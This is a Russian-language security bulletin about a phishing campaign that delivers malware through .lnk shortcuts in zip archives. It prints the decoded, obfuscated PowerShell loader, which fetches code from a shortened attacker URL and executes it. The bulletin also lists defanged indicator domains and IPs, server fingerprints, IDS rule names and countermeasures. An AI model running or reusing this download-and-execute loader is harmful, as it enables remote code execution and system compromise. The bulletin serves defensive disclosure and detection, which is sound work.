Угроза распространения ВПО, связанного с хакерской группировкой Clubfoot Wolf

Скачать Бюллетень ИБ

Название документа: Угроза распространения ВПО, связанного с хакерской группировкой Clubfoot Wolf

Разослан: 2026-11-09

Идентификатор: AM-2026-ALE-1109-01 

Описание угрозы 

Требования к атакующему: Удаленный неаутентифицированный

Максимальный результат атаки: Получение несанкционированного доступа к инфраструктуре, компрометация системы

Сценарий атаки: Специалистами АО "ПМ" зафиксированы множественные попытки распространения ВПО. Для первоначального доступа злоумышленники использовали фишинговую рассылку с вредоносным вложением в виде архивов формата ".zip"

Архивы, прилагаемые к письмам, содержали вредоносный файлярлык с расширением ".lnk", а также несколько отвлекающих документов с расширениями ".doc" и ".pdf". В названии файловярлыков использовался следующий шаблон: "Запрос-спецификация от [название компании] на [месяц] 2026г.lnk"

После распаковки архива и запуска пользователем файла с расширением ".lnk" выполнялась powershell-команда, содержащаяся внутри. Исходный код команды был закодирован в кодировке base64

Пример команды в расшифрованной виде:

C:\Windows\System32\WindowsPowerShell\v1.0 -E Write-Host "Smarter Marketing Dashboards with GoodData: To discover what makes a modern BI solution truly future-ready, providing enterprise-grade BI and AI capabilities."; Write-Host "This all-in-one dashboard delivers the big-picture view by bringing your entire marketing ecosystem into sharp focus. It consolidates KPIs across activity types such as campaigns." Get-Help ""; [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtoc olType]::Tls12; $Bisonte="https://shorturl[.]at/1YNAJ"; $Marni="gcm"; $Sander="Name"; $Loewe =("*o*e*x*s*s*o*" | & $Marni).$Sander;$Ganni=NewObject -ComObject MSXML2.ServerXMLHTTP;$Ganni.open("GET", $Bisonte, $false);$Ganni.send();& $Loewe $Ganni.responseText; $KValue=800; -W 1

Оригинальная powershell-команда также имела несколько методов обфускации, одним из которых было использование подстановочных символов для вызова powershell- командлетов

В результате выполнения команды осуществлялся GET-запрос к удаленному ресурсу через redirect-ссылку. Для создания данных ссылок злоумышленники использовали сервисы shorturl[.]at, а также l1nq[.]com и encurtador[.]dev

Исходные ссылки к подконтрольным серверам атакующих имели следующий вид:

• hxxps[://]aesmartdata[.]cloud/b2b/edi/weasyprint/v1/proposals/d istribute
• hxxps[://]aesmartdata[.]cloud/rendering/revealjsapi/v1/html/presentations
• hxxps[://]edatamark[.]agency/d3- renderer/v1/charts/bullet/data/details
• hxxps[://]dataprime[.]today/api/collaboration/charts
• hxxps[://]dataprime[.]today/public/api/v2/documents

После запроса к удаленным ресурсам выполнялась загрузка последующих полезных нагрузок для развития атаки

На основе комплексного анализа сетевых признаков специалистами АО "ПМ" были обнаружены другие ресурсы атакующих:

• edatamark[.]agency
• 45.59.114[.]62

Выявленные отличительные признаки сетевых ресурсов также были у инфраструктуры, что использовалась группировкой в раннее зафиксированных атаках

На что направлены

ОС семейства Windows

Меры противодействия

Осуществлять проверку и фильтрацию входящих электронных писем средствами антивирусной защиты c модулем "Анти-Фишинг" 

Проводить регулярное обучение сотрудников в области защиты от атак с использованием социальной инженерии

Осуществить проверку каталогов на наличие подозрительных файлов с расширением ".lnk"

Выполнить проверку наличия аномальных сетевых соединений к ресурсам shorturl[.]at, l1nq[.]com, encurtador[.]dev

Провести аудит узлов на предмет НСД (в том числе сбоев, критических ошибок, несанкционированного изменения файлов конфигурации, внедрения ВПО)

Провести антивирусную проверку на узлах. Убедиться, что установлены актуальные базы сигнатур

Ограничить доступ к следующим файлам, имеющим отношение к распространению ВПО (см. Приложение 1)

Ограничить доступ к следующим сетевым ресурсам, имеющим отношение к инфраструктуре злоумышленников:

• aesmartdata[.]cloud
• edatamark[.]agency
• dataprime[.]today
• asmdev[.]tech
• whitebalance[.]tech
• 45.59.114[.]62
• hxxps[://]aesmartdata[.]cloud/b2b/edi/weasyprint/v1/proposals/d istribute
• hxxps[://]aesmartdata[.]cloud/rendering/revealjsapi/v1/html/presentations
• hxxps[://]edatamark[.]agency/d3- renderer/v1/charts/bullet/data/details
• hxxps[://]dataprime[.]today/api/collaboration/charts
• hxxps[://]dataprime[.]today/public/api/v2/documents • hxxps[://]shorturl[.]at/aIeHE
• hxxps[://]shorturl[.]at/1YNAJ • hxxps[://]shorturl[.]at/o1qdX • hxxps[://]shorturl[.]at/7hM1u
• https[://]shorturl[.]at/MJ0PF • hxxps[://]shorturl[.]at/chUbi • hxxps[://]shorturl[.]at/lukFZ
• hxxps[://]l1nq[.]com/kcoozws
• hxxps[://]www.encurtador[.]dev/redirecionamento/l1nq.com/kco ozws

Реализовать отслеживание сетевой инфраструктуры атакующих на основе совокупности следующих признаков:

• HTTP-заголовок "nginx/1.18.0 (Ubuntu)"
• HTTP-заголовок "Content-Length: 0" 
• HTTP-заголовок "HTTP/1.1 301 Moved Permanently" 
• 443 порт
• Заголовок веб-страницы/наименование хостинга "RouterHosting LLC" 
• jarm-хэш "3fd3fd0003fd3fd00042d42d000000301510f56407964db9434a9b b0d4ee4a" 

Реализовать отслеживание сетевой инфраструктуры атакующих на основе специфичного HTTP-заголовка: 

• "Etag: W/ "858186df5ab2810f14469a707452a5db"

Использовать правила ViPNet IDS NS:

• sid 3438644 "AM DNS Query for aesmartdata.cloud (Clubfoot Wolf)" 
• sid 3438645 "AM DNS Query for edatamark.agency (Clubfoot Wolf)" 
• sid 3438030 "AM DNS Query for dataprime.today (Clubfoot Wolf)" 
• sid 3438647 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var4"
• sid 3438648 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var5" 
• sid 3438649 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var6" 
• sid 3438650 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var7" 
• sid 3438656 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var8" 
• sid 3438657 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var9" 
• sid 3438658 "AM MALWARE HTTP request to malicious endpoint of shorturl.at (Clubfoot Wolf) var10" 
• sid 3438651 "AM MALWARE HTTP request to malicious endpoint of l1nq.com (Clubfoot Wolf)" 
• 3438653 "AM MALWARE HTTP request to malicious endpoint of encurtador.dev (Clubfoot Wolf)" 
• sid 3438661 "AM DNS Query for asmdev.tech (Possible Clubfoot Wolf)" 
• sid 3438662 "AM DNS Query for whitebalance.tech (Possible Clubfoot Wolf)" 
• sid 3438663 "AM CURRENT_EVENTS HTTP request to malicious IP endpoint in header 45.59.114.62 (Possible Clubfoot Wolf)" 
• sid 3438666 "AM TROJAN [HUNT] Malware Infection: 'eTag' HTTP header (Clubfoot Wolf)"

Использовать правила ViPNet IDS HS / ViPNet EPP:

• sid 400518 "Обнаружена загрузка и выполнение кода через COM-объект powershell" 
• sid 908282 "Windows_MalwareLNK_APT_ClubfootWolf_V1"

Ссылки на источники

Источник 1

Источник 2

Приложение 1

Файловые индикаторы компрометации

Индикаторы компрометации, зафиксированные во вредоносной активности:

Связанные с вредоносной активностью индикаторы компрометации: